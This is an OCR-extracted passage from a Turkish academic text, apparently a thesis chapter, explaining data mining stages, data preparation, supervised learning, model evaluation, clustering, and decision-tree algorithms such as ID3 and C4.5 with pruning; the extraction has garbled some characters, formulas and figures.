yaptiklar1 iglemlere yonelik verileri bilgisayar sistemleri aracigiyla kaydetmektedirler.
Internetin ve web uygulamalarinin yaygi kullanimu ile birlikte saklanan veri miktarinda da

Oonemli artiglar meydana gelmistir.

Verilerin miktarindaki biiylik artig, insanlar araciliyla degerlendirilmesini imkansiz hale
getirmigtir. Bu sebeple bilgisayar sistemleri araciliyla kaydedilen bu verilerin
degerlendirilmesi ve verilerden sonu¢ c¢ikarma islemleri veri madenciligi sayesinde

bilgisayar programlari araciliyla yapilmaktadir.

Bu giine kadar farkli kaynaklarda veri madenciliginin pek ¢ok tanimiyla karsilagiimigtir.
Savas ve arkadaslar1 tarafindan derlenen bazi kaynaklara goére veri madenciliginin

tanimlanmas1 asagidaki gibidir [31].

e Jacobs (1999), veri madenciligini, ham verinin tek bagina sunamadigi bilgiyi ¢ikaran,

veri analizi slireci olarak tanimlamistir [32].

e Veri madenciligi, biiylikk veri yiginlar1 arasindan gelecekle ilgili tahminde
bulunabilmemizi saglayabilecek baglantilarin, bilgisayar programi kullanarak

aranmasi isidir [33].

e Hand (1998), veri madenciligini istatistik, veritabani teknolojisi, Oriintii tanima,
makine 6grenme ile etkilesimli yeni bir disiplin ve genis veritabanlarinda dnceden

tahmin edilemeyen iligkilerin ikincil analizi olarak tanimlamistir [34].

e Kitler ve Wang (1998), veri madenciligini olduk¢a tahminci anahtar degiskenlerin
binlerce potansiyel degiskenden izole edilmesini saglama yetene8i olarak

tanimlamiglardir [35].
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Savas ve arkadaglar1 kendi tanimlamalarinda veri madenciligini, ¢ok biiyilk miktarda
bilginin depolandig1 veri tabanlarindan, amacimiz dogrultusunda, gelecek ile ilgili tahminler
yapmamizi saglayacak, anlamli olan veriye ulasma ve veriyi kullanma isi olarak

tanimlamislardir [31].

Veri madenciliginin tanimina iliskin olarak en bilinen tanim agagidaki gibidir:
“Veri madenciligi onceden bilinmeyen, gecerli ve uygulanabilir bilgilerin genis veri

tabanlarindan elde edilmesi ve bu bilgilerin igletme karar: verilirken kullanilmasidir.’[36].

Veri madenciligi bankacilik, pazarlama, sigortacilik, saglik, perakende satig, dolandiricilik
tespiti, glivenlik, astronomi ve cografi bilgi sistemleri ve daha bir¢ok uygulama alanina sahip

olup, ¢ok farkli alana ait veriler lizerinde uygulamalara sahiptir [36].

Veri madenciliginin 6zellikle pazarlama, bankacilik gibi alaninda yaygin bir kullanima
sahiptir. Asagida veri madenciligi ile pazarlama, bankacilik ve sigortacilik alanlarinda sik

karsilasilan uygulama 6rnekleri verilmistir [37].

Pazarlama

e Miisterilerin satin alma Oriintiilerinin belirlenmesi,

e Miisterilerin demografik 6zellikleri arasindaki baglantilarin bulunmasi,
e Posta kampanyalarinda cevap verme oraninin artirilmasi,

e Mevcut miisterilerin elde tutulmasi, yeni miisterilerin kazanilmasi,

e Pazar sepeti analizi (Market Basket Analysis)

e Miisteri iligkileri yonetimi (Customer Relationship Management)

e Miisteri degerlendirme (Customer Vaiue Analysis)

e Satis tahmini (Sales Forecasting).



Bankacilik

Farkl1 finansal gostergeler arasinda gizli korelasyonlarin bulunmasi,
Kredi kart1 dolandiriciliklarinin tespiti,
Kredi kart1 harcamalarina gore miisteri gruplarinin belirlenmesi,

Kredi taleplerinin degerlendirilmesi.

Sigortacilik

Yeni polige talep edecek miisterilerin tahmin edilmesi,
Sigorta dolandiriciliklarinin tespiti,

Riskli miisteri Oriintiilerinin belirlenmesi.

5.1. Veri Madenciligi Asamalar

Veri madenciligi genel olarak 5 asamadan olusmaktadir [38]. Bunlar asagidaki gibi olup,

ayrintili olarak aciklanmistir.

1.

2.

Problemin tanimlanmasi

Veri hazirlama (toplama, temizleme, birlestirme, doniistiirme, indirgeme)
Veri madenciligi modelinin olusturulmasi ve degerlendirilmesi

Modelin kullanilmasi

Modelin izlenmesi ve geri beslenmesi

39
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Veri madenciliginin agsamalar1 Sekil 5.1°de gosterilmistir.

Verinin egitim ve
fest kiimeleri olarak.
- bolimlenmesi

algorilmas_lnm.

Ogrenme algoritmasinin
egitim verisine uygulamp
simflandiricr elde edilmesi

¥

Sunflandiricin
test verisivle test

Testsonuclarimn
degerlendirilmesi

Sekil 5.1. Veri madenciliginin asamalari [39, 40]

5.1.1. Problemin tanimlanmasi

Unlii bilim insam Albert Einstein problem ¢dziim evresinin ilk ve en &nemli asamasi
problemin tanimlanmasina iliskin olarak “Problemin tanimlanmasi, cogu kez ¢oziilmesinden

daha énemlidir” diyerek bu konunun dnemini ortaya koymustur. Ilk adimda yapilacak olan
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yanlig tiim algoritmay1 etkileyecek ve sonraki adimlar dogru olsa bile temel yanlis

oldugundan algoritma basarisiz olacaktir.

Yapilacak olan uygulamanin basarili olmasinin ilk adimi olan problemin tanimlanmasi

asamasinda asagidaki noktalar g6z 6niinde bulundurulmalidir [41].

e Problem ciimlesinin yaziminda agik sade bir dil kullanilmalidir.
e Arastirma problemi soru climleleri seklinde ifade edilmelidir.
e Problem ciimlesi ¢6ziilecek problemi kesin bir sekilde ortaya koymalidir.

e Arastirmanin  smirlar1  arastirmada ele alinan  degiskenler acisindan

kesinlestirilmelidir.

e Arastirma sonunda elde edilen bulgularin genellenecegi evren sinirt kesin ve agik

olarak belirtilmelidir.

5.1.2. Veri hazirlama

Her veri analizi is1 yeni bir veri setlerinin toplanmasi, betimlenmesi ve temizlenmesiyle
baslar. Bu sliregten sonra, veriler analiz edilebilir ve sonuglara ulasilir. Veri kalitesi veri
madenciliginde anahtar bir konudur. Veri madenciliginde giivenilirligin arttirilmasi igin, veri

on isleme yapilmalidir [38, 42, 43].

Modelin kurulmas1 agsamasinda ortaya ¢ikacak sorunlar, bu asamaya sik sik geri doniilmesine
ve verilerin yeniden diizenlenmesine neden olacaktir. Bu durum verilerin hazirlanmasi ve
modelin kurulmasi asamalar1 i¢in, bir analistin veri kesfi siirecinin toplam1 igerisinde enerji
ve zamaninin % 50 - % 85'ini harcamasina sebep olmaktadir. Verilerin hazirlanmasi agamasi

kendi igerisinde 5 adimdan meydana gelmektedir [37].

Veri Toplama (Collection) : Tanimlanan problem i¢in gerekli oldugu diisiiniilen verilerin ve
bu verilerin toplanacagi veri kaynaklarinin belirlenmesi adimidir. Verilerin toplanmasinda
kurulusun kendi veri kaynaklarinin disinda, niifus sayimi, hava durumu, merkez bankas1 kara
listesi gibi veri tabanlarindan veya veri pazarlayan kuruluslarin veri tabanlarindan

faydalanilabilir [37].
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Verilerin Temizlenmesi (Cleaning) : Veriler genellikle hata icermektedir ve bu hatalar toplu
olarak giiriiltii olarak adlandirilmaktadir [43]. Eksik verilerin tamamlanmasi, aykiri
degerlerin teshis edilmesi amaciyla giiriiltiiniin azaltilmasi1 ve verilerdeki tutarsizliklarin

giderilmesi gibi islemlerden olugmaktadir [38].

Verilerin Birlestirilmesi (Consolidation) : Bu adimda farkli kaynaklardan toplanan verilerde
bulunan ve bir 6nceki adimda belirlenen sorunlar miimkiin oldugu 6l¢iide giderilerek veriler
tek bir veri tabaninda toplanir. Ancak basit yontemlerle ve bastan savma olarak yapilacak
sorun giderme islemlerinin, ileriki asamalarda daha biiyiilk sorunlarin kaynagi olacagi

unutulmamalidir [37].

Verilerin Doniistiiriilmesi ve Normalizasyon (Transformation and Normalization) : Veri
madenciliginde kullanilacak verilerin farkli kaynaklardan toplanmasi, dogal olarak veri
uyumsuzluklarina sebep olacaktir. Bu uyumsuzluklarin baslicalar1 farkli zamanlara ait
olmalari, kodlama farkliliklar1 (6rnegin bir veri tabaninda cinsiyet 6zelliginin e/k, diger bir
veri tabaninda 0/1 olarak kodlanmasi), farkli ol¢ii birimlerine sahip olmalidir. Ayrica
verilerin nasil, nerede ve hangi kosullar altinda toplandigi da 6nem tasimaktadir. Bu sebeple,
modellerin 1yi sonu¢ vermesi, kullanilacak olan verilerin kalitesine bagli oldugu ig¢in,
toplanan verilerin ne 6l¢iide uyumlu olduklar1 bu adimda incelenerek degerlendirilmelidir

[37].

Déniistiirme islemi, verilerin veri madenciligi i¢in uygun formlara doniistiirtilmesidir. Veri
dontistiirme, diizeltme, birlestirme, genellestirme ve normallestirme gibi islemlerin bir veya
bir kacini igerir [38]. Verilerin doniistiiriilmesi asamasinda siirekli nitelikli veriler ayrik hale
getirilmektedir. Normalizasyon islemi ile de veriler belli bir araliga normalize edilmektedir.
Normalizasyon istatistiksel bir islem olup, amaci veriler arasinda farkliligin ¢ok fazla oldugu
durumlarda verileri tek bir diizen igerisinde ele almaktir [44]. Veri madenciliginde en ¢ok
kullanilan normalizasyon yontemi asgari — azami (min - max) normalizasyonudur. Veri
setindeki her nesne Esitlik 5.1°e gore yeniden hesaplanarak tiim veri setinin [0,1] araliginda
deger almasi saglanir.
X — Xmin

Xnormal = X — X
max min

(5.1)
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Stirekli verilerin ayrik verilere doniistiiriilmesi asagidaki gibi yapilmaktir.

0-5 Volt 2> Diisiik
5-9 Volt = Orta
9-12 Volt = Yiuksek

Veri Indirgeme (Reduction) : Olusturulan veritabaninda c¢ok sayida veri ve kendini
tekrarlayan veri bulunabilir. Bu veritabanindan modelin egitiminde kullanacak ve belirlenen
problemi en iyi temsil eden yeterli sayida verinin secilerek nihai veri tabanin olusturulmasi

islemidir.

Genellikle yanlis veri girisinden veya bir kereye 0zgii bir olayin ger¢eklesmesinden
kaynaklanan verilere sapan veri (outlier) denilmektedir, 6nemli bir uyarici enformasyon

icerip igermedigi kontrol edildikten sonra veri kiimesinden atilmasi tercih edilmektedir.
5.1.3. Modelin olusturulmasi ve degerlendirilmesi
Veri madenciliginde kullanilan modeller genel olarak tahmin edici (predictive) ve

tanimlayict (descriptive) olmak iizere iki grubu ayrilmaktadir. Veri madenciliginde

kullanilan algoritmalarin semast Sekil 5.2°de gosterilmistir.

| Veri Madencili |

OLAP ] (Kesif Esasl Yontemler |
l i 1 .
] SOL J [ Tanimlayici ] [ Tahmin Edici ]
[ e [ Smm.ama ] [ Regr;s‘ron ]

( Birliktelik Kurallan

Karar Agaclan | Dojrusal |
Yapay Sinir Ajlan | Lojstk |

k- En Yakin Komgu]

Sekil 5.2. Veri madenciligi algoritmalari
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Tahmin edici modeller, daha 6nceden var olan verilere bakarak yeni gelen bir girisin hangi
sinif etiketine sahip oldugunu belirlemede kullanilmaktadir. Yagmur yagdigi ve yagmadigi
zamanlara iligskin olarak sicaklik, nem, basing ve riizgar hizi gibi degerlere bakilarak
olusturulan bir model ile hava durumuna iligskin bu 4 6zelligin giris olarak verildiginde
yagmur yagip yagmayacaginin tahmin edilmesi tanimlayict modele bir 6rnektir. Burada giris
olarak verilen 4 6zellik bagimsiz degiskenler olup yagmurun yagip yagmama durumu ise bu

bagimsiz degiskenlere bagli olan bir sinif etiketidir.

Tanimlayici modeller, ger¢ek diinya olaylar1 ile onlardan sorumlu faktorlerin arasindaki
iligkiyi tanimlayan matematiksel bir islemlerdir. Bu modeller pazarlama ve reklam gibi
alanlarda miisteri kitlesinin belirlenmesi amaciyla kullanilmaktadir. Probleme en uygun
modelin bulunabilmesi i¢in, olusturulabilecek en fazla modelin denenmesi gerekmektedir.
Modellerin bagarim oranlari, verilerin kalitesine ve modeli olusturan uzmanin bilgisine direk
olarak baghdir. En iyi modelin bulunabilmesi i¢in veri Onisleme agamasinin ve model
olusturma asamasinin defalarca denenmesi gerekmektedir. Model olusturma asamalar1 Sekil

5.3’de gosterilmistir.

Olast .\/Iode]lgri Ogrenme
Kiimesi Ile Egit

—» Model 1 H Test Kiimesini Modeller
Uzerinde Test Et

Ogrenme

ST o a8 » Model 2 || En {yi Modeli [ Yeterince Iyi
S Seg ™ ise Kabul Et )
A
Veri Seti |
| »! Model N } Degilse
A

Test
Kiimesi

Sekil 5.3. Model olusturma asamalari

Modellerin olusturulmasinda denetimli (supervised) veya denetimsiz (unsupervised)

ogretme yontemleri kullanilabilmektedir.

Denetimli (gozetimli) 6grenme, makine 6grenmesinde siniflandirma veya tiimevarimli

(inductive) 6grenme seklinde ifade edilmektedir. Denetimli 68renmede giris degerleri
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(inputs) ile etiketler (label) birlikte verilerek, egitim kiimesi (training set) olusturulur.
Denetimli 6grenmede, 6grenme kiimesinde bulunan sinif sayisi1 ve hangi nesnenin hangi
sinifa ait oldugu bilinmektedir. Ogrenme isleminde bir kayit kiimesi kullanilmakta ve
ozellikler kiimesi olarak gosterilmektedir [45]. Verilen giris degerleri sonucunda sinif
etiketlerinin dogru tahmin edilmesi amaglanir. Olusturulan modelin amaci ayni smif
etiketine sahip girislerin 6zelliklerinden yararlanilarak olusturulan kural ciimleleri ile bir
girisin dzelliklerine bakarak siif etiketinin dogru tahmin edilmesini saglamaktir. Ogrenme
siireci tamamlandiginda yeni gelen bir giris modele uygulanarak bu girisin hangi simif

etiketine sahip oldugunu tespit etmek amaclanmaktadir.

Bgrenme Veri Seti Test Veri Seti
1 sunny hot high FALSE no 1 sunny cool low TRUE
2 sunny hot high TRUE e 2 rainy hot high TRU
3 overcast  hot high FALSE yes 3 overcast  hot low FALSE
A rainy mild high FALSE yos
5 rainy cool normal FALSE yes
[ rainy cool normal TRUE
7 overcast  cool normal TRUL yes
8  sunny mild high FALSE
9 sunny cool normal FALSE yes
10 rainy mild normal FALSE yes
11 sunny mild normal TRUF yes
12 overcast mild high TRUE ves
13 overcast hot normal FALSE ves
L aln il high TRU 0 . .
14 rainy mild ig! RUE Test Kume5|
v
Ogrenme Siniflandirma
. : > Model
Kiimesi Kurallan

Sekil 5.4. Denetimli 6grenme siireci

Denetimli 6grenme siireci Sekil 5.4’de gosterilmistir. Denetimli 6grenmede veri seti

O0grenme ve smama kiimesi olmak tlizere iki kiimeye ayrilmaktadir. Modelin
olusturulmasinda egitim amagh olarak 06grenme kiimesi kullanilirken, modelin
dogrulugunun test edilmesinde test kiimesi kullanilmaktadir. Olusturulan modelin

dogrulugunun ve giivenirliginin test edilmesine iligkin olarak cesitli yontemler ve
parametreler kullanilmaktadir. Modelin test edilmesinde kullanilan yontemlere modelin

degerlendirilmesi agamasinda yer verilecektir.

Denetimli 6grenmede segilen algoritmaya uygun olarak ilgili veriler hazirlandiktan sonra,
veri setinin bir kismi1 6grenme kiimesi, kalan kismui ise test kiimesi olmak {izere ikiye ayrilir.

Ogrenme kiimesi kullanilarak smiflandirma modeli olusturulduktan sonra, test kiimesi ile
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modelin dogruluk derecesi belirlenmektedir.

Denetimsiz 6grenmede baslangicta ka¢ tane siif bulundugu ve sinif etiketlerinin neler
olduguna iligkin bir bilgi bulunmamaktadir. Veri setinde bulunan nesnelerin 6zelliklerinin
birbirleri ile olan iligskisine ve benzerliklerine bakarak, farkli kiimelere ve demetlere
ayrilmast  saglanir.  Denetimsiz ~ 0grenmede  farkli  kiimeleme  algoritmalar
kullanilabilmektedir. Nesnelerin uzakliklarina bakarak kiimeleme yapilabilmektedir. En ¢ok
kullanilan uzaklik fonksiyonlari, Oklid uzakligi, Manhattan uzakligi, Minkowski uzakligidur.

Bunlarin yani sira literatiirde birgok uzaklik hesaplama yontemi mevcuttur.

Uzaklik fonksiyonlarinin yani sira K-Means, Aprori gibi algoritmalar mevcuttur. Esitlik

5.2’de 2 nokta arasindaki Oklid uzakliginin hesaplanmas1 gériilmektedir.

d(A,B) = (1 — %)%+ (y1— ¥2)? (5.2)

Modelin Siniflandirma Degerlendirmesi: Modelin degerlendirilmesi iki agidan yapilmakta
olup, c¢esitli yontemler ve parametreler kullanilabilmektedir. Modelin siniflandirma
degerlendirmesi siniflandirma skoru ve egitim/test kiimesi agisindan olmak tizere iki agidan

yapilmaktadir [46].

Skor Acisindan

e Karisiklik matrisi

e Dogruluk (Accuracy)
e Kesinlik (Precision)

e Anma (Recall)

e  Ozgiinliik (Specificity)

e F-Olgiitii (F-Measure)
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Egitim ve Test Kiimeleri Ac¢isindan

e Basit Dogrulama (Simple Validation)
e (apraz Gegerlilik (Cross Validation)
e N Katli Capraz Gegerlilik (N-Fold Cross Validation)

e Bootstrap

Modelin basarimi test kiimesi elemanlar1 kullanilarak hesaplanmaktadir. Test kiimesinde

bulunan elemanlar kesinlikle modelin 6grenmesi asamasinda kullanilmamalidar.

Basit Dogrulama (Simple Validation): Modellin dogrulugunun test edilmesinde en sik
kullanilan yontem basit gecerlilik yontemidir. Bu yontemde veri setinin %5 ile %33
arasindaki bir kismi test kiimesi olarak belirlenir. Test kiimesinde bulunan elemanlar modele
girig olarak verilerek modelin her elemana bir sinif etiketi atamasi saglanir. Modelin atadigi
simif etiketi ile elemanin bilinen simif etiketi karsilastirilarak, modelin ne kadar dogru

siiflandirma yaptig 6lciilerek, modelin basar1 orani hesaplanir.

Capraz Gegerlilik (Cross Validation): Bu yontem genelde veri setindeki verilerin sayisinin
azligindan dolay1 6grenme ve test seti olarak bdliinmesinde modelin §grenmesi icin yeterli
verinin bulunmadig1 durumlarda kullanilmaktadir. Bu yontem veri seti esit sayida iki boliime
ayrilarak ilk asamada birinci kisim 6grenme kiimesi, ikinci kisim test kiimesi olarak
kullanilir. Ikici asamada birinci kisim test kiimesi, ikinci kisim &grenme kiimesi olarak

kullanilir. Dogruluk orani i¢in iki test kiimesinin hata oranlarinin ortalamasi alinir.

N Katli Capraz Gegerlilik (N-Fold Cross Validation): Bu dogrulama yonteminde veri seti n
parcaya boliiniir. Model egitim ve test siireci n turdan olusur. Her asamada parcalardan biri
test icin kullanilirken diger parcalar hep birlikte 6grenme kiimesini olusturur. Her turda test
kiimesi i¢in kullanilan parca degisirken diger parcalar 6grenme kiimesi olarak kullanilir. N

turdan sonra hata oranlarinin ortalamasi alinarak nihai hata oran1 hesaplanir.
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Siniflandirma modelinden beklenen bazi 6zellikler bulunmaktadir. Bu 6zellikler asagidaki

gibidir [47];

Hiz: Simiflandirma modelin olusturulmasi i¢in gecen siire ve bir nesnenin olusturulan
model tarafindan siiflandirilmas: ig¢in gereken siire hesaplanarak modelin hiz

performansi ol¢iiliir.

Stabil Olmasi: Veri setindeki sapan (outlier) verilerden ve eksik verilerden az

etkilenmesi ya da hi¢ etkilenmemesi.

Olgeklenebilirlik: Veri setinde bulunan verilerin sayisi artirildiginda smiflandirma

basarisinin diismemesi.

Aciklik: Modeli olusturulan kurallarin insanlar tarafindan kolayca anlasilabilir ve

yorumlanabilir olmasi.

Tutarlilik: Modeli olusturan kurallarin birbiri ile g¢elismemesi gerekmektedir.

Kurallarin birbirini tamamlamas1 gerekmektedir.

Smiflandiricinin egitilmesinde 6nem arz etmektedir. Tam olarak egitilememis (underfitting)

modeller hem 6grenme kiimesinde hem de test kiimesinde diisiik siniflandirma basarisi

gostermektedirler. Ogrenme kiimesi ile asir1 egitilmis modellerde ise ezberleme (overfitting)

ortaya cikmaktadir, model Ogrenme kiimesi i¢in c¢ok yiikksek smiflandirma basarisi

gosterirken, test kiimesinde yeterli siniflandirma basarisini gésterememektedir. Bu durumda

sadece 0grenme kiimesinde bulunan nesneler ezberlenmis olur, egitiminin kiimesi diginda

bulunan bir nesne giris olarak verildiginde siniflandirilamaz. Bundan dolayi egitimin dengeli

sekilde yapilmasi gerekmektedir. Sekil 5.5’de modelin egitilmesine bagli olarak uyum

durumu grafiksel olarak gosterilmektedir.

Ogrenmemis (Underfitting) Ogrenmis (Fit) Ezberlemis (Overfitting)

Sekil 5.5. Modelin uyum durumu [48]
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Olusturulan modelin basaris1 ne kadar yiiksek olursa olsun, gercek diinya olaylarmni tam
olarak modelledigini garanti etmek miimkiin degildir. Yapilan testler sonucunda gegerli bir
modelin gercek diinyada bagsarali olmamasindaki baslica sebepleri, model kurulusunda kabul
edilen varsayimlar ve modelde kullanilan verilerin dogru olmamasidir. Ornegin modelin
egitilmesi sirasinda varsayilan enflasyon oraninin zaman igerisinde degismesi veya
ekonomik kriz meydana gelmesi, bireyin satin alma davranigini belirgin olarak etkileyecektir

ve bu durum ¢ok basarili bir modelin bile kullanilamaz hale gelmesine sebep olabilir [37].

5.1.4. Modelin kullanilmasi

Olusturulan ve gegerliligi kabul edilen model dogrudan bir yazlim uygulamasi olarak
kullanilabilecegi gibi, bir bagka uygulamanin alt modiilii olarak da kullanilabilir. Olusturulan
modeller goriintii tanima, miisteri kredi degerlendirmesi, dolandiricilik tespiti, saldir1 tespit
sistemi gibi kurumsal islerde dogrudan kullanilabilecegi gibi, perakende yazilimina entegre
edilerek stok takibi yapip muhtemel siparislere iliskin otomatik {iretim talebi olusturan bir

yazilima eklenebilir [37].

5.1.5. Modelin izlenmesi ve geri beslenmesi

Veri setlerindeki verilerin glincellikleri zaman iginde kaybetmesi, sistemlerde veya
urettikleri verilerin 6zelliklerinde zamanla bir degisimin ortaya ¢ikmast gibi bir durum varsa
modelin siirekli izlenerek, modelin glincellenmesi veya giincel veri setleri ile yeniden

egitilmesi gerekir.

5.2. Veri Madenciligi Algoritmalari

Veri madenciliginde kullanilacak modele ve veri setine gore uygulanabilecek ¢ok sayida

algoritma bulunmaktadir. Bu algoritmalardan bazilari modele gore asagida verilmistir [36].

A. Siniflandirma Algoritmalari
a) Istatistige Dayali Algoritmalar:
i. Bayes
ii.  Regresyon
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iii. CHAID
b) Uzakliga Dayali Algoritmalar:
I.  En yakin komsu

ii.  En kii¢iik mesafe siniflandirict

c) Karar Agaglari:

i. CART
ii. ID3
ii. C4.5
iv. Sprint

d) Genetik Algoritmalar
e) Yapay Sinir Aglart
B. Kiimele Algoritmalari
a) Hiyerarsik Yontemler

I.  SLINK Algoritmasi
ii.  Cure Algoritmasi
iii. CHAMELEON Algoritmast
iv.  BIRCH Algoritmasi
v. CLUCDUH Algoritmasi

b) Bolimlenmeli Yontemler

i.  K-Ortalama (K-Means) Algoritmasi
ii. PAM Algoritmasi
iii.  CLARA Algoritmasi
iv.  CLARANS Algoritmasi
c) Yogunluga Dayali Algoritmalar

I.  DBSCAN Algoritmasi

OPTICS Algoritmast
DENCLUDE Algoritmasti

d) Grid Temelli Algoritmalar

STING Algoritmasi

Dalga Kiimeleme
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iii.  CLIQUE Algoritmasi
e) Genetik Algoritmalar
f) Yapay Sinir Aglari
C. Baglant1 Analizi Algoritmalari
a) Aprori Algoritmasi
b) SETM Algoritmasi
c) Aprori TID Algoritmasi

d) GRI Algoritmast

5.2.1. Karar agaclan

Karar agaci simiflandirma algoritmast adindan da anlasilacag: iizere siniflandirma modeli
icin bir agac¢ yapist olusturmaktadir. Siniflandirma problemlerinde en sik kullanilan
algoritmalarin basinda gelir. Bu algoritmada entropi ve bilgi kazanci (information gain)
onem kazanmaktadir. Siniflandirma modeli bir aga¢ yapist ile kullaniciya gosterdigi icin

siiflandirma islemine iliskin daha anlagilir olmaktadir.

Ik asamada 6grenme kiimesi ile karar agaci olusturulur, ikinci asamada ise yeni gelen nesne
karar agacina giris olarak verilip smif etiketi belirlenir. Sekil 5.6’da hava durumuna gore
basketbol maginin oynanip oynanmayacagina karar verilmesini saglayan karar agaci
gosterilmektedir. Karar agaci, dnceden kaydedilmis 14 giinliik hava durumu 6zelliklerine ve

bu giinlerde basketbol oynanip oynanmadigina bakilarak olusturulmustur.
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Ozellikler Hedef
- ~ A ) -
Day  Outlook Temperature Humidity Wind  Playball Karar Ag acl

D1 Sunny Hot High Weak No
D2 Sunny Hot High Strong  [No Qutlook
D3 Overcast |Hot High ‘Weak Yes
D4 Rain Mild High Weak Yes Sunny Rain
Ds Rain Cool Normal Weak Yes / Overcast
D6 Rain Cool Normal Strom, No . )
D7 Overcast |Cool Normal Stmni Yes |:> Hl.lmldlty Ylés Wind
D8 Sunny Mild High Weak No
D9 Sunny Cool Normal Weak Yes High MNormal Strong  Weak
D10 Rain Mild Normal Weak Yes
D11 Sunny Mild Normal Strong Yes
D12 Overcast |Mild High Strong Yes No Yes No ves
D13 Overcast |Hot Normal Weak Yes
D14 Rain Mild High Strong No

Sekil 5.6. Karar agac1 yapisi

Karar agacinin kural olarak gosterimi agsagidaki gibidir.

EGER outlook = sunny VE humidity = high ISE playball = no
EGER outlook = rain VE humidity = high ISE playball = no
EGER outlook = rain VE wind = strong ISE playball = yes
EGER outlook = overcast ISE playball = yes

EGER outlook = rain VE wind = weak ISE playball = yes

Karar agaclarinin kdkiinde (root) yani ilk diiglimiinde sinif etiketinin atanmasinda en etkili
olan 6zellik bulunur. Aga¢ daha sonra en ¢ok etki eden diger 6zelliklere gore dallanmaya

devam eder.

ID3 Algoritmasi

Bu algoritma siniflandirma isleminde entropi kavramdan faydalanmaktadir. Entropi kavrami
rastgeleligi, belirsizligi ve beklenmeyen durumun ortaya ¢ikma olasiligini gdstermektedir.
Veri madenciliginde kullanilan entropiye Shannon entropisi ya da bilgi entropisi
denilmektedir. Entropi 0 ile 1 arasinda bir deger alir. Tiim sartlarin esit oldugu durumlarda
entropi en yliksek degeri olan 1’e esit olur. Eger ideal bir para atilacak olursa yazi veya tura
gelme durumu esit oldugu icin entropisi 1 olacaktir. Eger tiim nesneler ayni sinifa aitse
entropi yani belirsizlik 0 degerini alir. Ornegin bir torbadaki tiim toplar mavi ise, bu torbadan
top ¢ekilme durumunun entropisi O dir, yani belirsizlik yoktur. Entropi esitlik 5.3’de

gosterildigi gibi hesaplanmaktadir.
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n
H(pi +p; + - +pp) = —Zm*log(pi) (5.3)

1=0

C4.5 ve C5 Algoritmast

Bu karar agaci algoritmasi ID3 algoritmasinin gelismis halidir ve ID3’e gore bilgi kazanci
(Information Gain) kullanimi1 agisindan iistiindiir. Agag¢ olusturulurken her asamada kalan
ozelliklere ve 6zellikte bulunan etiketlere iliskin bilgi kazanglar1 ayr1 ayr1 hesaplanarak en
yiiksek bilgi kazancina sahip 6zellige gore dallanma gerceklestirilir. Bu sayede daha hassas
ve anlaml kurallar ortaya ¢ikmaktadir. D 6grenme kiimesi, A bir 6zellik olmak tizere, D
kiimesinin A 6zelligine gére v parcaya boliinmesi durumunda ortaya ¢ikan bilgi kazanci

Esitlik 5.4, 5.5 ve 5.6’da gosterildigi gibi hesaplanmaktadir.

n
Info(D) = —Z p; *log(p;) D kiimesi icindeki bir nesneyi siniflandirmak igin gerekli bilgi (5.4)
i=0

v

: : D;
Info,(D) = ||D]|| * Info(Dj) A ozelligine boliinmeden sonra D yi siniflandirmak igin gerekli bilgi (5.5)

j=0

Gain(A) = Info(D) — Info,(D) A 6zelligine gore bolinmeden dolay: bilgi kazanct (5.6)

Karar agacinin budanmasi: Tim makine 6grenmesi yontemlerinde verinin ana hatlarinin
modellenmesi esas alindig1 i¢in 6grenme modelinde ezberden (overfitting) kaginilmalidir.
Karar agaglar1 gerekli islemler yapilmazsa ezberleme yapmaya miisaittirler. Ezberleme
yapmis bir karar agacinin siniflandirma basarisi 6grenme kiimesi i¢in ¢ok iyi iken, test
kiimesinde basar1 oran1 hayli diigmekte olup, bu kacinilmasi gereken bir durumdur. Ayrica
ezberleme yapmuis bir karar agacinin derinligi, diigiim ve yaprak sayisi ¢ok fazla olacagindan
zaman performansi agisindan da hantal bir yapiya sahip olacaktir. Bu sebeple karar agaci
olusturulurken ve/veya olusturulduktan sonra budama islemi yapilmalidir. Budama,
simiflandirmaya yeterli katkiy1 saglamayan kisimlarin karar agacindan silinmesi islemidir.
Budama islemi sonucunda daha sade, anlasilabilir ve hizli siniflandirma performansina sahip
karar agaclar1 olusturmak miimkiindiir. Budama iglemi sonucunda 6grenme kiimesi i¢in hata
orani artarken, genelde test kiimesi i¢in siniflandirma performansi artmaktadir. Aga¢ budama

islemi, budama zamanina gore iki farkli yontemle yapilabilmektir;
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On_budama_(pre-prunning): On budama islemi karar agaci olusturuldugu sirada belli

Olgiitlere bakilarak bazi dallarin olusturulmamasi ile yapilmaktadir. Bu yontemde belli bir
esik deger belirlenerek boliinen niteliklerin hata orami esik degerin altina indiginde

dallanmaya son verilerek, en ¢cok elemana sahip sinif etiketi yaprak olarak atanir.

Sonradan budama (post-prunning): Bu budama yonteminde ise Once karar agaci

olusturulup, budama islemi daha sonra yapilmaktadir. Bu yontem pratikte 6n budama
isleminden daha basarilidir ¢iinkii karar agaci olusturuldugu sirada nerede budama
yapilacaginin kestirilmesi daha zordur. Bu islem alt dallar silerek yapraklar olusturma, alt
dallar1 iist yapraklarda uygun etikete yilikseltme ve belli derinlikten asagida bulunan dallar

budama seklinde yapilabilmektedir.

Sonradan budama isleminde agacinda ne zaman budanacagina karar verilirken asagidaki

istatistiksel yontemlerden faydalanilmaktadir.
e Hata Tahmini

e Onem Testi (6rn: Ki-kare Testi (Chi-square test) )

Sonradan budama islemine iligkin yapraklarin hata oranlarin hesaplanmasina iliskin 6rnek

bir hesaplama yontemi Esitlik 5.7°de verildigi gibi yapilmaktadir [49].

- +Zz+ f_or,z +Zz+ f_r, = 5.7
e=\Ftonytz v vt/ \ Yoy TA N N T e 7)

e f: egitimin kiimesinin hata orani
e N: yaprakta bulunan nesnelerin sayist

e z:normal dagilim oranm

Hata toleransina bagli olarak sonradan budama islemi Sekil 5.7°de gosterilen sekilde
yapilmaktadir. Burada budama islemine iligkin hata toleransi %35 olarak belirlenmistir.
“Humidity (Nem)” diiglimiiniin alt dallarinda toplam 50 adet (35 “No” + 15 “Yes”) nesne
bulunmaktadir. Bu dallardan “Yes (Evet)” etiketine sahip nesne sayisinin bulundugu dalda

15 adet nesne bulunmakta olup %35’ lik hata toleransinin altinda olan bir orana sahiptir. Bu
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sebeple “Humidity” diigliimii budanarak burada bulunan 50 nesne tek yaprakta birlestirilerek,

ilgili yapraga bu diigiim i¢inde en ¢ok nesne oranina sahip olan “No” etiketi atanir.

Karar Agaci Budama isleminden Sonra Karar Agaci

Outlook Outlook
Sunny Rain 5 "
unny

Overcast P / Overcas t u
Yes - = e
b Yes
N

\
>\I\

I

/

J ~
High // Normal
/

Strong  Weak

\
\ Strong Weak
| / \4
I
Yes
g 25 20
-

%70 \ %30
\

=N
\

~

Budama hata toleransi: %35 secilirse

